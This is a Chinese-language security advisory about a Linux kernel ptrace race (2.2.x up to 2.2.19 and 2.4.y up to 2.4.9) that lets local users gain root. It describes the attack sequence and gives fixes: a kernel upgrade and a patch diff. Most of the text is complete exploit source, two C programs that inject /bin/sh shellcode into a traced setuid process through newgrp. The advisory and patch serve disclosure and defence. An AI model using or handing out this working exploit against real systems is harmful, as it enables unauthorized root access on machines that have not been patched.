linux 内核漏洞

/ns/ld/unix/data/20011117231428.htm

涉及程序:
linux kernel

描述:
利用 linux 内核漏洞能取得系统特权

详细:
发现 Linux 内核某些版本在处理 ptrace(3)时存在漏洞,本地攻击者利用此漏洞能取得系统特权。

要攻击成功,/usr/bin/newgrp 必须是 setuid root 位,所有人可执行,且在无参数时不要求密码。

观察下面的进程,起始时,进程1和进程2都是非特权进程

Time Process 1 Process 2
0 ptrace(PTRACE_ATTACH, pid of Process 2,...)
1 execve /usr/bin/newgrp
2 execve /any/thing/suid
3 execve default user shell
4 execve ./insert_shellcode

在执行进程2时,进程2仍然被跟踪,execve /any/thing/suid 执行成功并被赋予了 setuid 位。在第3步,newgrp 执行了一个 shell,该 shell 仍能用 ptrace 控制进程2,因此 "./insert_shellcode" 能在进程2中插入任意代码。

以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负



*insert_shellcode.c*

/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
/* spiritual black dimension */

char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0x00125000
main(int argc, char **argv)
{
int status;
int i, wpid, pid = atoi(argv[1]);
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, &reg;s)) {
perror("PTRACE_GETREGS");
exit(0);
}
regs.eip = ADDR;
if (ptrace(PTRACE_SETREGS, pid, 0, &reg;s))
exit(0);
for (i = 0; i <= strlen(hellcode) + 5; i += 4)
ptrace(PTRACE_POKETEXT, pid, ADDR + i,
*(unsigned int *) (hellcode + i));
// kill (pid, SIGSTOP);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, &status, 0);
if (wpid == -1) {
perror("waitpid");
exit(1);
}
} while (wpid != pid);
}


*ptrace_exp.c*

/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
char z;
if (read(fd, &z, 1) <= 0) {
perror("read:");
exit(1);
}
execl("/usr/bin/passwd", "passwd", 0);
perror("execl");
exit(1);
}
void insert(int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "exec ./insert_shellcode %i\n", pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}


main(int argc, char **argv)
{
int res, fifo;
int status;
int pid, n;
int pipa[2];
char buf[1024];
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}


res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("attach");
exit(1);
}
res = waitpid(-1, &status, 0);
if (res == -1) {
perror("waitpid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("cont");
exit(1);
}
fprintf(stderr, "attached\n");
switch (fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(pid);
do {
n = read(pipa[0], buf, sizeof(buf));
} while (n > 0);
if (n < 0)
perror("read");
exit(0);
default:;
}
close(pipa[0]);

dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv("LD_DEBUG", "libs", 1);
/* With strength I burn */
execl("/usr/bin/newgrp", "newgrp", 0);
}

受影响系统:
Linux kernels 2.2.x, x<=19 and 2.4.y, y<=9

解决方案:
1、升级到内核 2.4.12

2、安装补丁

diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c Tue Oct 9 05:00:50 2001
@@ -552,12 +645,11 @@
}

/*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
*/
static inline int must_not_trace_exec(struct task_struct * p)
{
- return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+ return (p->flags & PF_PTRACED);
}

/*